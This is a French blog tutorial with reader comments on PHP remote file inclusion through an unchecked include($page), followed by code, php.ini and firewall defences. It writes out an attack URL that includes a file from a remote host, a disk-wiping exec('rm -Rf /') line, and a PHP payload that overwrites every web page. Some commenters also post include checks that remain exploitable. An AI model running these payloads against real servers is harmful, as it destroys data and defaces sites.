Faille php avec la fonction include


Logo de php
Je vais traiter ici d'une faille php courante qui a lieu lorsque l'on fait une mauvaise utilisation de la fonction include.

1. La faille

La fonction include en php, permet d'insérer le contenu d'un autre fichier local ou distant, afin d'y ajouter son code source à celui en cours. Utilisée normalement, cette fonction ne posera pas de problème particulier et se révélera très pratique, notamment pour insérer un fichier contenant des fonctions que l'on utilise souvent par exemple :

include('mesfonctions.php'); 

Mais cela peut devenir très dangereux lorsque l'on utilise cette dernière, pour inclure des pages, dont leur nom est donné directement en paramètre dans une url web. Voici un exemple pour mieux comprendre.

Nous sommes sur un site où les urls sont de la forme :

  • http://monsite/index.php?page=accueil.php
  • http://monsite/index.php?page=contact.php

Dans le code de la page index.php, il y a quelque chose comme ceci :

include($page); 

Ainsi, lorsqu'un visiteur demande la première adresse, le script va insérer le contenu de la page acceuil.php et lui l'afficher à l'écran. Cette méthode est souvent utilisée par des développeurs, le problème est que l'on peut facilement exploiter cette faille de programmation. En effet, la fonction include permet d'insérer des fichiers distants et ceci par défaut dans la configuration php.ini d'un serveur Web. On pourra alors facilement réaliser une attaque en demandant une url comme celle-ci :

http://monsite/index.php?page=http://toto.fr/exploit.txt

Le script fera alors un include('http://toto.fr/exploit.txt'), insérant ainsi le code php contenu dans la page exploit.txt hébergée sur un serveur quelque part sur Internet. Je vous laisse imaginer les dégâts, si la page exploit.txt contient un code du genre :

exec('rm -Rf /'); // effacement du disque dur 

ou encore plus sophistiqué :

<?php
/* On augmente le temps d'exécution */
@set_time_limit(0);
@ini_set('max_execution_time',0);
/* On augmente l'allocation mémoire */ @ini_set('output_buffering',0);
/* On ignore les arrets venant du navigateur client */ ignore_user_abort(true);
/* On modifie toutes les pages web du serveur */ exec("/usr/bin/find . \( -name '*.php' -o -name '*.html' \) -exec sh -c \"echo OwNeD_bY_tOtO > '{}'\" \;"); ?>

2. Les solutions

La première solution consiste à bien programmer sa page php, en faisant des contrôles corrects. Dans notre exemple :

 if($page == "accueil.php || $page == "contact.php") {
  include($page);
} else {
  echo "Access denied";
}

Il existe biensûr plein d'autres manières de coder ce genre de chose. Mais pour un administrateur, cela peut vite tourner au cauchemar si ce dernier héberge plusieurs centaines de sites sur un serveur.

La solution sera alors de bien configurer php, en modifiant le fichier php.ini, pour obtenir quelque chose comme ceci :

# Desactivation de Register Global
register_globals = Off
# On interdit l'inclusion de fichiers distant allow_url_fopen = Off

Enfin, la solution finale, un peu plus complexe, consiste à reconfigurer son firewall pour faire en sorte que :

  • dans le sens serveur vers Internet : on interdit tout
  • dans le sens Internet vers serveur : on autorise seulement les connexions http
  • ainsi le serveur ne pourra pas inclure lui même des fichiers php distants.

25 Commentaires pour "Faille php avec la fonction include"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    $montableau['accueil']='accueil.php';
    $montableau['contact']='contact.php';

    if(empty($montableau[$_GET['mavar']])
    exit("pas bien de chercher les failles!!");

    include($montableau[$_GET['mavar']]);

    Ça marche bien et c'est rapide à maintenir.

    La faille de l'include ne permet pas que d'inclure des fichiers externes mais aussi des fichiers internes, .htacess...

    frederic.bouchery.free.fr...

    PS: il y a peu de chance que l'inclusion d'un fichier php externe fasse du mal, vu qu'il est interprété sur le serveur avant :)

    RépondreRépondre
    Pascal , le 18 mai 2007 à 01:03
  •  

    @Pascal : il est interprété avant, mais aussi après par l'autre serveur. C'est pour ça que le premier doit envoyer directement du code PHP.
    Dans l'exemple, il y a une erreur : ce n'est pas exploit.php qu'il faut faire inclure, mais exploit.txt (le .txt évite la première interprétation).

    Une protection que j'avais utilisé malgré moi : utiliser un sous-répertoire.

    page.php?id=accueil.php
    include('page/'.$id);

    RépondreRépondre
    Olivier , le 18 mai 2007 à 01:53
  •  

    Désolé ça me démange là ! je ne réponde jamais d'habitude.

    Là faille de sécurité n'est pas d'aujourd'hui ... et surtout pas sa Olivier :

    page.php?id=accueil.php
    include('page/'.$id);

    mais plutôt effecuter un define avant, ouai c'est nul, mais c'est comme ça.

    define("LINK", "page.php?id=accueil.php");
    include(LINK);

    RépondreRépondre
    Tipi , le 18 mai 2007 à 04:34
  •  

    2 remarques.

    Je préfère ne pas modifier le php.ini mais utiliser les "php_admin_value/php_admin_flag" dans la configuration d'Apache (les options peuvent être différente pour chaque hôte virtuel).

    Un protection intéressante consiste aussi à vérifier en début de chaque page que la page précédente vient du même serveur (sauf sur la page d'accueil, bien sur). Cela évite beaucoup de problème d'injection...

    => $_SERVER["HTTP_REFERER"]

    Remi

    RépondreRépondre
    Remi , le 18 mai 2007 à 08:39
  •  

    @Olivier : c'est bien ce dont je parlais, de exploit.txt au lieu de exploit.php qui est dans cet article.

    @Tipi : je vois pas pourquoi passer par un define change quelque chose ?!?!

    RépondreRépondre
    Pascal , le 18 mai 2007 à 10:49
  •  

    @Olivier et @Pascal : oui c'est vrai, le fichier doit plutôt avoir une extension en .txt, j'avais oublié. Je corrige l'article.

    @Remi : il m'arrive de faire ce gene de chose, mais avec $_SERVER["SERVER_NAME"], pour contrôler la provenance des données d'un formulaire notamment.

    Sinon, quand on héberge plusieurs millier de sites, la modification du php.ini est la solution la plus simple et la plus rapide.

    RépondreRépondre
    pti-seb , le 18 mai 2007 à 11:24
  •  

    > Sinon, quand on héberge plusieurs millier de sites, la modification du php.ini est la solution la plus simple et la plus rapide.

    php.ini => 1 ligne.
    apache => 1 ligne.

    Plus rapide ???
    Plus simple ???

    Et en cas de migration de serveur ?

    RépondreRépondre
    Remi , le 18 mai 2007 à 13:23
  •  

    @Remi : dans le cas ou on héberge 1000 sites,

    php.ini => 1 ligne
    apache => 1 ligne * 1000 virtualhosts = 1000 lignes ...

    RépondreRépondre
    pti-seb , le 18 mai 2007 à 13:28
  •  

    Mais non : tu place la directive avant la déclaration des hôtes et elle s'applique globalement.

    De plus, si tu as beaucoup de sites, tu dispose d'un moyen de verrouiller les options pour que les utilisateurs ne puissent pas la modifier dans un .htaccess.

    php_flag / php_value : modifiable
    php_admin_flag / php_admin_value : vérouillée

    Et c'est beaucoup plus souple que l'AllowOverride Options (qui vérouille tout ou rien).

    A+

    RépondreRépondre
    Remi , le 18 mai 2007 à 20:19
  •  

    C'est quand même un cas d'école... C'est quand même de plus en plus rare de voir une telle négligence.

    RépondreRépondre
    LLaumgui , le 18 mai 2007 à 22:23
  •  

    @Remi : à oui, vu comme ça tu as raison.

    @LLaumgui : j'en suis pas si sûr, j'ai pu rencontrer le problème plusieurs fois cette année ...

    RépondreRépondre
    pti-seb , le 18 mai 2007 à 23:00
  •  

    Très sympa cet article, merci !

    RépondreRépondre
    Mikiman , le 9 juin 2007 à 18:50
  •  

    bonjour,

    l'instruction @ini_set('output_buffering',0); ne fonctionne pas sur un serveur kwartz(server du lycee), on ne voit aucune modification lorsque l'on fait un php info (no value).

    y a t il une autre maniere de le modifier?
    ps: je n'est pas les droits d'acces au php.ini

    RépondreRépondre
    cdr , le 19 juin 2007 à 13:45
  •  

    De toute façon, si on héberge ses scripts chez un hébergeur, on a pas le droit de modifier grand chose soi-même.

    Et en général, afin de permettre aux programmeurs débutants de ne pas trop galérer (ce qui fera des clients heureux qui paieront le mois prochain) les hébergeurs laissent le register globals à ON et le allow_url_fopen à ON.

    Donc il faut souvent blinder son code sans compter sur le reste...

    RépondreRépondre
    Jimmy , le 6 août 2007 à 17:32
  •  

    Inclure un petit
    iffile_exist( [...]
    peut s'avérer utile

    ( avec un Sous dossier, pour éviter les adresses externes)

    Ou réaliser une sorte d'array implicant chaque page autorisée à être include

    RépondreRépondre
    Zabuza , le 20 décembre 2007 à 20:46
  •  

    Bravo, vous venez d'expliquer comment hacker un site...

    RépondreRépondre
    Fullmetal , le 17 février 2008 à 21:21
  •  

    @Fullmetal : .... et comment contrer se type d'attaque en renforçant la sécurité de son serveur web.

    RépondreRépondre
    pti-seb , le 18 février 2008 à 11:58
  •  

    Ne pas oublié bien évidement de mettre le safe_mod en off :D

    Très bon article, sinon !

    RépondreRépondre
    Feu , le 20 février 2008 à 15:47
  •  

    Est ce que cette protection suffit contre les attaques via les includes??

    if (!isset($_GET['page']))/*si je viens d'arriver sur le site je vais sur l'accueil*/
    {include("accueil.php");}
    else
    {
    if (file_exists($_GET['page']))/*sinon si la page existe dans le serveur je vais vers la page que j'ai choisie*/
    {
    include($_GET['page']);
    }
    else /*si la page n'existe pas sur le serveur je vais sur l'accueil*/
    {
    include("accueil.php");
    }
    }

    RépondreRépondre
    Banjo , le 24 mars 2008 à 14:53
  •  

    Il ne vaut mieux pas prendre ton script pour sécuriser la faille d'include car il permet les includes locales (ex htaccess.)

    Ligne responsable : if (file_exists($_GET['page']))

    RépondreRépondre
    Feu , le 24 mars 2008 à 14:58
  •  

    J'ai modifié mon script: rectifie - il la faille de sécurité au niveau local??
    Mes href"" sont maintenant de la forme : href="?page=maPage" ; et toutes les pages que j'inclue sont placées dans un répertoire "include" qui se trouve à la racine.

    if (!isset($_GET['page']))/*si je viens d'arriver sur le site je vais sur l'accueil*/
    {include("include/accueil.php");}
    else
    {
    if (file_exists('include/'.$_GET['page'].'.php'))/*sinon si la page existe dans le serveur je vais vers la page que j'ai choisie*/
    {
    include('include/'.$_GET['page'].'.php');
    }
    else /*si la page n'existe pas sur le serveur je vais sur l'accueil*/
    {
    echo 'include/'.$_GET['page'].'.php';
    include("include/accueil.php");
    }
    }

    RépondreRépondre
    Banjo , le 25 mars 2008 à 15:05
  •  

    Voilà, c'est juste un petit mot pour vous dire que j'adore vous lire :)

    RépondreRépondre
    arrangeurs , le 31 mars 2008 à 12:02
  •  

    http://tinyurl.com/cw235m .. Arf !
    C'est toi qui l'a posté là ou tu te l'es fait volé (ils ne citent ni source, ni d'auteur) ?

    RépondreRépondre
    Achille , le 20 février 2009 à 20:26
  •  

    @Achille : tous les articles de Tux-planet sont des orignaux !!! Le site que tu montre a tout simplement repris cet article sans aucune autorisation.

    RépondreRépondre
    pti-seb , le 21 février 2009 à 01:23
  •  

    Quand je disais "c'est toi qui l'as posté", je voulais dire "posté chez eux" ..

    Je lis ton blog et sais pertinemment que ce n'est pas le genre de la maison de pomper des articles ailleurs ;-)

    RépondreRépondre
    Achille , le 21 février 2009 à 13:20
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité red hat redhat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum